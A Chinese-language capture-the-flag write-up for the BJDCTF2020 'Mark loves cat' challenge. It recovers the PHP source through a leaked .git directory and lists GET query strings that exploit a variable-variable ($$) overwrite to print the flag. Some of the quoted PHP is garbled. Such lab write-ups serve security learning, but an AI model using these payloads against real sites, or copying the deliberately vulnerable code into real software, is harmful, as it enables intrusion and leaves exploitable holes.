[BJDCTF2020]Mark loves cat1

打开题目

发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下

http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git

主要代码在index里面

<?php

include 'flag.php';

$yds = "dog";

$is = "cat";

$handsome = 'yds';

foreach(_POST as x => $y){

x = $y; //$flag=1 } foreach($_GET as $x =\> $y){ $$x = $$y; } foreach($_GET as $x =\> $y){ if($_GET\['flag'\] === $x \&\& $x !== 'flag'){ exit($handsome); } } if(!isset($_GET\['flag'\]) \&\& !isset($_POST\['flag'\])){ exit($yds); } if($_POST\['flag'\] === 'flag' \|\| $_GET\['flag'\] === 'flag'){ exit($is); } echo "the flag is: ".$flag; 根据源代码,需要通过get传参达到变量覆盖的目的。 ?yds=flag 覆盖is变量 if($_POST\['flag'\] === 'flag' \|\| $_GET\['flag'\] === 'flag'){ exit($is); } Get或Post传入flag=flag,触发变量覆盖代码 foreach($_POST as $x =\> $y){ $$x = $y; //$flag=1 } foreach($_GET as $x =\> $y){ $$x = $$y; } 输出?is=flag\&flag=flag ![](https://i-blog.csdnimg.cn/direct/dde2afd9e44b45cb928f83d08119feb5.png) 再覆盖覆盖handsome变量 handsome=flag,得到$handsome=$flag ?handsome=flag\&flag=handsome 可以得到flag

相关推荐
努力的小Qin5 小时前
oneapi本地部署接口测试(curl命令方式+postman方式)
测试工具·postman·oneapi
友莘居士15 小时前
本地使用postman调试mcp接口
测试工具·postman·sse·mcp
索西引擎5 天前
【工程化】浅谈前端构建工具
前端·webpack·gulp·turbopack
绿色果酱5 天前
Apipost:离线可用+AI全栈覆盖,国产API开发协作工具新标杆
postman·ai功能·apipost·apipost离线·apipost ai·ai能力·apipost操作
alien爱吃蛋挞6 天前
Postman
测试工具·postman
Feng.Lee7 天前
接口测试Postman工具高级使用技巧
功能测试·测试工具·lua·postman·可用性测试
CtrlCV 攻城狮11 天前
接口测试时如何上传文件(图片、安装包等)
python·postman
Feng.Lee11 天前
聊聊接口测试Postman环境与变量的深度应用
测试工具·lua·postman·可用性测试
哈哈孝子13 天前
Postman接口
测试工具·postman
小王的饲养员18 天前
Apipost 与 Apifox 数据库功能对比:深入解析与应用场景分析
大数据·数据库·人工智能·后端·postman